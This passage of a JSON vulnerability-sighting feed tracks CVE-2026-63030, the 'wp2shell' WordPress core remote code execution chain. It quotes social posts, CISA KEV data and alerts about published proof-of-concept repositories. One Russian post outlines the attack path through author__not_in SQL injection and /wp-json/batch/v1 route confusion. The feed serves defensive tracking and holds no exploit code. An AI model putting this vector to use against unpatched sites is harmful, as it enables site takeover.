"https://infosec.exchange/users/VirusBulletin/statuses/116968675172587890"}, {"timestamp": "2026-07-23T09:52:36.737Z", "date_only": false, "value": "2026-07-23T09:52:36.737154Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/virusbtn.bsky.social/post/3mrckvdwlos2u", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "fa523142-ff79-4506-82fd-1b853cdca519", "content": "Elastic researchers analyse wp2shell, a pre-authentication remote code execution chain in WordPress Core (CVE-2026-63030, CVE-2026-60137).  www.elastic.co/security-lab...", "url": "https://bsky.app/profile/virusbtn.bsky.social/post/3mrckvdwlos2u"}, {"timestamp": "2026-07-23T11:00:03.418Z", "date_only": false, "value": "2026-07-23T11:00:03.418421Z", "kind": "sighting", "label": "Seen", "source": "Telegram/lyQjgrzss-14q92fKQzooVmz9KnQq83SmXqNbV8WBn3n-CQ", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "e34bedb3-7b7d-43f8-bf6e-4b9e72e438ae"}, {"timestamp": "2026-07-23T21:00:03.808Z", "date_only": false, "value": "2026-07-23T21:00:03.808338Z", "kind": "sighting", "label": "Seen", "source": "Telegram/RZUr84bz-MeoSQD-tvDurOG3fFiceokD1io53ZFLlZKvE-Lj", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "71259147-170c-4e62-83f9-97d39d88ff00"}, {"timestamp": "2026-07-24T00:00:00Z", "date_only": true, "value": "2026-07-24", "kind": "kev", "label": "Due date", "source": "cisa-kev", "record": "CVE-2026-63030", "field": "evidence.0.details.due_date", "uuid": "5262bec6-e720-4659-ba72-07c4d7008d00", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-24T00:00:09.007Z", "date_only": false, "value": "2026-07-24T00:00:09.007815Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/lyQjgrzss-14q92fKQzooVmz9KnQq83SmXqNbV8WBn3n-CQ", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "33570520-40b0-4539-b22d-ba664a1ff739"}, {"timestamp": "2026-07-24T00:00:09.948Z", "date_only": false, "value": "2026-07-24T00:00:09.948052Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94743", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "475afd19-7ec7-4b8a-a630-78f3e2a46972", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-63030_60137-wordpress_rce_reproduction\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a razureink\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-23 03:46:44\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE Reproduction: cve-2026-63030_60137-wordpress_rce_reproduction\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94743"}, {"timestamp": "2026-07-24T00:00:10.352Z", "date_only": false, "value": "2026-07-24T00:00:10.352198Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94519", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "f34eb88e-1858-432f-b29f-ef9122ec3f7c", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a WP2Shell-CVE-2026-63030-POC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Bhanunamikaze\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-21 17:51:48\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC detector & safe validator for the WP2Shell WordPress vulnerability chain: CVE-2026-63030 (REST batch-route confusion) + CVE-2026-60137 (author__not_in SQL injection). For authorized security testing only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94519"}, {"timestamp": "2026-07-24T00:00:10.566Z", "date_only": false, "value": "2026-07-24T00:00:10.566142Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94520", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "7ea36c4e-4b88-4471-837c-1197d69100d7", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Colere-Sys\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-21 17:49:42\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nAnalysis and end-to-end implementation of the patched wordpress RCE vulnerability - CVE-2026-60137 and CVE-2026-63030\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94520"}, {"timestamp": "2026-07-24T00:00:10.866Z", "date_only": false, "value": "2026-07-24T00:00:10.866386Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94635", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "a638047c-4cca-4a24-ad9f-730faa391434", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a mcipekci\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-22 10:58:52\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPre-auth RCE PoC for WordPress core \u2014 chains CVE-2026-63030 (REST /batch/v1 route-confusion desync) with CVE-2026-60137 (author__not_in SQLi) into an unauthenticated shell. Authorized testing only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94635"}, {"timestamp": "2026-07-24T00:00:11.678Z", "date_only": false, "value": "2026-07-24T00:00:11.678848Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94678", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "4fa0b1ad-3053-4314-b2a1-23f29eec876f", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-63030-CVE-2026-60137-wp2shell-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a gagaltotal\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-22 16:30:55\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-63030 & CVE-2026-60137 Wp2shell Poc\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94678"}, {"timestamp": "2026-07-24T00:00:11.889Z", "date_only": false, "value": "2026-07-24T00:00:11.889334Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94648", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "f069c699-dc90-4af9-8c35-48f0ffaaa82b", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-vulnerability-scanner\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Adrees-Basheer\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-22 12:34:49\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nScan WordPress installations for wp2shell vulnerabilities (CVE-2026-63030 + CVE-2026-60137). Identifies full RCE and SQL injection risks across multiple sites with severity classification and CSV reporting.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94648"}, {"timestamp": "2026-07-24T01:00:03.625Z", "date_only": false, "value": "2026-07-24T01:00:03.625884Z", "kind": "sighting", "label": "Seen", "source": "Telegram/g0Ci5fQ10yaCLaJEW0bIgl-QCw805JTrKGNITq4Mt5Cithxw", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "9b85ba88-5b3d-4720-aa68-7a9c43c9f64e"}, {"timestamp": "2026-07-24T03:00:03.385Z", "date_only": false, "value": "2026-07-24T03:00:03.385534Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/horny_exploit/225", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "5ede84a1-448d-48a1-8281-bfae4bf6defd", "content": "CVE-2026-63030 - WordPress Core Pre-Auth RCE Mass Exploit", "url": "https://t.me/horny_exploit/225"}, {"timestamp": "2026-07-24T04:52:19.614Z", "date_only": false, "value": "2026-07-24T04:52:19.614085Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mrekllz3lr24", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "b6c3b8c1-b1c6-4694-b237-8a4254f245b1", "content": "Top 3 CVE for last 7 days:\nCVE-2026-63030: 72 interactions\nCVE-2026-60137: 58 interactions\nCVE-2026-58532: 47 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-50522: 9 interactions\nCVE-2026-64600: 9 interactions\nCVE-2026-12569: 8 interactions\n", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3mrekllz3lr24"}, {"timestamp": "2026-07-24T08:30:04.067Z", "date_only": false, "value": "2026-07-24T08:30:04.067807Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/diesec.bsky.social/post/3mrewqx2tps2o", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "7a88513b-2964-4137-bb7c-be7c1d1b63e8", "content": "wp2shell: unauthenticated RCE in WordPress core (CVE-2026-63030 + CVE-2026-60137). No plugin needed. Patched July 17 (6.9.5/7.0.2), both CVEs now in CISA KEV. Check your version today.\n\n\ud83c\uddec\ud83c\udde7 zurl.co/YAUNn\n\ud83c\udde9\ud83c\uddea zurl.co/mtIxP \n\n#CyberSecurity #WordPress #CISA", "url": "https://bsky.app/profile/diesec.bsky.social/post/3mrewqx2tps2o"}, {"timestamp": "2026-07-24T09:31:25.939Z", "date_only": false, "value": "2026-07-24T09:31:25.939004Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/nakachiy.bsky.social/post/3mrf26mx72k24", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "8bac34fd-4569-452d-b99a-9febc783f864", "content": "\u793e\u4f1a\u904b\u52d5\u3067\u81ea\u9bd6\u3084\u901a\u4fe1NGO\u306e\u30b5\u30fc\u30d3\u30b9\u3067WordPress\u4f7f\u308f\u308c\u3066\u3044\u308b\u65b9\u3005\u3082\u5927\u52e2\u3044\u3089\u3063\u3057\u3083\u308b\u3067\u3057\u3087\u3046\u306e\u3067\u6ce8\u610f\u559a\u8d77\u3068\u3057\u3066\n\nWordPress\u306e\u8106\u5f31\u6027\u5bfe\u7b56\u306b\u3064\u3044\u3066(CVE-2026-60137\u3001CVE-2026-63030\uff1awp2shell)\nwww.ipa.go.jp/security/sec...", "url": "https://bsky.app/profile/nakachiy.bsky.social/post/3mrf26mx72k24"}, {"timestamp": "2026-07-24T11:20:06.058Z", "date_only": false, "value": "2026-07-24T11:20:06.058589Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/thecybermind.co/post/3mrfaayzbym2g", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "6a7959cc-ac0a-412a-bbd8-d80e3f061354", "content": "(CISA TS-SOC) CVE-2026-63030 \u2013 WordPress Core Interpretation Conflict\u00a0Vulnerability\n\nSeverity: CRITICAL Impact Summary: An attacker can exploit an interpretation conflict in WordPress Core to perform SQL Injection, which may be chained to achieve Remote Code Execution....", "url": "https://bsky.app/profile/thecybermind.co/post/3mrfaayzbym2g"}, {"timestamp": "2026-07-24T11:29:59.788Z", "date_only": false, "value": "2026-07-24T11:29:59.788788Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/thecybermind.co/post/3mrfasopu7v2g", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "3fa1e13c-f60e-4c1b-8be2-85fea3598091", "content": "(CISA TS-SOC) CVE-2026-60137 \u2013 WordPress Core SQL Injection\u00a0Vulnerability\n\nSeverity: MEDIUM Impact Summary: Allows unauthenticated attackers to perform SQL injection, which can be chained with CVE-2026-63030 to achieve remote code execution on default WordPress installations....", "url": "https://bsky.app/profile/thecybermind.co/post/3mrfasopu7v2g"}, {"timestamp": "2026-07-24T11:43:25.183Z", "date_only": false, "value": "2026-07-24T11:43:25.183723Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/yazoul-alerts.bsky.social/post/3mrfbkpbdjz2j", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "abbb386e-1c70-420b-901b-b61cd01c5ab3", "content": "Attackers are dropping webshells into WordPress sites. They aren't breaking in - they're using unpatched flaws.\n\nCVE-2026-60137 and CVE-2026-63030.\n\nhttps://www.yazoul.net/news/article/critical-wp2shell-wordpress-flaws-exploited-to-install-webshells/\n\n#InfoSec #ThreatIntel", "url": "https://bsky.app/profile/yazoul-alerts.bsky.social/post/3mrfbkpbdjz2j"}, {"timestamp": "2026-07-24T12:00:04.331Z", "date_only": false, "value": "2026-07-24T12:00:04.331486Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94951", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "15087270-821b-4626-8087-d447f9df1206", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-63030\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a shinthink\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-24 10:50:32\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWordPress Core Pre-Auth RCE via REST Batch Route Confusion + SQLi (CVE-2026-63030 + CVE-2026-60137)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94951"}, {"timestamp": "2026-07-24T18:00:04.146Z", "date_only": false, "value": "2026-07-24T18:00:04.146824Z", "kind": "sighting", "label": "Seen", "source": "Telegram/M-3cLQvPgI-q_MEcWYT-wWAA2JFIhIDN85UPqM1dZ7X-wCw", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "ee363d5f-add5-4c8e-a601-21e4d9f272d6"}, {"timestamp": "2026-07-25T00:00:08.864Z", "date_only": false, "value": "2026-07-25T00:00:08.864728Z", "kind": "sighting", "label": "Seen", "source": "Telegram/gW0da48RCSuyEjRfZ_Za7uIbIrLZgBhYEc5dBmEFYrLCR4Kz", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "78d12a87-8588-4fc4-9cd1-a904bc2c519d"}, {"timestamp": "2026-07-25T00:00:12.177Z", "date_only": false, "value": "2026-07-25T00:00:12.177714Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/horny_exploit/225", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "c8e0cbc1-3ce3-4ca4-b454-1e088491590b", "content": "CVE-2026-63030 - WordPress Core Pre-Auth RCE Mass Exploit", "url": "https://t.me/horny_exploit/225"}, {"timestamp": "2026-07-25T04:48:26.626Z", "date_only": false, "value": "2026-07-25T04:48:26.626986Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mrh2tlntcc24", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "5bcbcbb0-d881-4288-ba7f-4f5b85a4b39d", "content": "Top 3 CVE for last 7 days:\nCVE-2026-63030: 75 interactions\nCVE-2026-60137: 57 interactions\nCVE-2026-50522: 42 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-50522: 6 interactions\nCVE-2026-56164: 6 interactions\nCVE-2026-58644: 6 interactions\n", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3mrh2tlntcc24"}, {"timestamp": "2026-07-25T14:00:41.752Z", "date_only": false, "value": "2026-07-25T14:00:41.752873Z", "kind": "sighting", "label": "Seen", "source": "Telegram/78rRkV9G9ZzF_U6HjjkhFHbX-isEY1hINdQCqoBTXAOUubtj", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "9b1a5a17-48b9-4241-b9a2-e1acc0fbc1f9"}, {"timestamp": "2026-07-25T15:00:05.430Z", "date_only": false, "value": "2026-07-25T15:00:05.430871Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ZerodayAlert/771", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "24a71a6d-8c97-4adc-9645-fd934b54acc1", "content": "wp2shell. \u041e\u0434\u043d\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u0432 \u044f\u0434\u0440\u0435 WordPress \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043f\u0443\u0442\u044c \u043a \u0437\u0430\u0445\u0432\u0430\u0442\u0443 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u0441\u0430\u0439\u0442\u043e\u0432\n\n\u0412 \u044f\u0434\u0440\u0435 WordPress \u043d\u0430\u0448\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0441\u0430\u0439\u0442 \u043e\u0434\u043d\u0438\u043c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u043c HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c. \u041d\u0438 \u043b\u043e\u0433\u0438\u043d, \u043d\u0438 \u043f\u043b\u0430\u0433\u0438\u043d\u044b, \u043d\u0438 \u043e\u0441\u043e\u0431\u044b\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u043d\u0435 \u043d\u0443\u0436\u043d\u044b. \u0426\u0435\u043f\u043e\u0447\u043a\u0443 \u043d\u0430\u0437\u0432\u0430\u043b\u0438 wp2shell, \u043e\u043d\u0430 \u0441\u043e\u0431\u0440\u0430\u043d\u0430 \u0438\u0437 \u0434\u0432\u0443\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u0441 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430\u043c\u0438 CVE-2026-60137 \u0438 CVE-2026-63030. \u041f\u043e\u043b\u043d\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 WordPress 6.9.0\u20136.9.4 \u0438 7.0.0\u20137.0.1. \u041f\u0430\u0442\u0447\u0438 \u0443\u0436\u0435 \u0432\u044b\u0448\u043b\u0438 \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 6.8.6, 6.9.5 \u0438 7.0.2.\n\n\u041a\u0440\u0430\u0441\u043e\u0442\u0430 \u0430\u0442\u0430\u043a\u0438 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u043e \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u043d\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u043a\u0430\u0442\u0430\u0441\u0442\u0440\u043e\u0444\u043e\u0439. \u041f\u0435\u0440\u0432\u0430\u044f - SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u0432 \u043a\u043b\u0430\u0441\u0441\u0435 WP_Query \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 author__not_in. \u0412\u0442\u043e\u0440\u0430\u044f - \u0441\u0431\u043e\u0439 \u0432 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 REST API /wp-json/batch/v1, \u0433\u0434\u0435 \u0447\u0435\u0440\u0435\u0437 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u0443\u044e \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u043f\u043e\u0434\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0434\u0440\u0443\u0433\u043e\u0433\u043e. \u0422\u0430\u043a \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0435\u0437\u0436\u0430\u0435\u0442 \u0434\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0433\u043e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430, \u0438 \u0434\u0432\u0435 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0432 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0436\u0435 \u0432\u043a\u043b\u044e\u0447\u0438\u043b\u0438 \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u043f\u0430\u0442\u0447\u0430 \u0447\u0435\u0440\u0435\u0437 \u0430\u0432\u0442\u043e\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435, \u0430 Cloudflare \u0441 17 \u0438\u044e\u043b\u044f \u0432\u043a\u043b\u044e\u0447\u0438\u043b\u0430 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 WAF \u0434\u043b\u044f \u043e\u0431\u0435\u0438\u0445 CVE. \u041d\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u0441\u0442\u043e\u0438\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0432\u0435\u0440\u0441\u0438\u044e \u0441\u0430\u0439\u0442\u0430 \u0432\u0440\u0443\u0447\u043d\u0443\u044e: \u0430\u0432\u0442\u043e\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438 \u043f\u0440\u0430\u0432 \u0434\u043e\u0441\u0442\u0443\u043f\u0430. \u041f\u0430\u0442\u0447 \u0443\u0436\u0435 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442 \u043f\u043e \u0440\u0430\u0437\u043d\u0438\u0446\u0435 \u043a\u043e\u0434\u0430 \u043c\u043e\u0436\u043d\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442.\n\n#WordPress #wp2shell #RCE #CVE\n\n@ZerodayAlert", "url": "https://t.me/ZerodayAlert/771"}, {"timestamp": "2026-07-25T18:00:04.372Z", "date_only": false, "value": "2026-07-25T18:00:04.372001Z", "kind": "sighting", "label": "Seen", "source": "Telegram/GQS1eZh6jW1eTFauE08lQEEwY9p26l5wOkUiZYKHwilYdP4", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "7c1edc23-cd1e-4063-b0a5-96d7dcdb1d68"}, {"timestamp": "2026-07-26T00:00:35.702Z", "date_only": false, "value": "2026-07-26T00:00:35.702317Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/GQS1eZh6jW1eTFauE08lQEEwY9p26l5wOkUiZYKHwilYdP4", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "da5f883c-50f5-4da2-9f3e-3b89a16cd4ca"}, {"timestamp": "2026-07-26T00:00:39.578Z", "date_only": false, "value": "2026-07-26T00:00:39.578644Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/ZerodayAlert/771", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "8d43583a-29eb-4d92-8301-6f7f128eeb09", "content": "wp2shell. \u041e\u0434\u043d\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u0432 \u044f\u0434\u0440\u0435 WordPress \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043f\u0443\u0442\u044c \u043a \u0437\u0430\u0445\u0432\u0430\u0442\u0443 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u0441\u0430\u0439\u0442\u043e\u0432\n\n\u0412 \u044f\u0434\u0440\u0435 WordPress \u043d\u0430\u0448\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0441\u0430\u0439\u0442 \u043e\u0434\u043d\u0438\u043c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u043c HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c. \u041d\u0438 \u043b\u043e\u0433\u0438\u043d, \u043d\u0438 \u043f\u043b\u0430\u0433\u0438\u043d\u044b, \u043d\u0438 \u043e\u0441\u043e\u0431\u044b\u0435 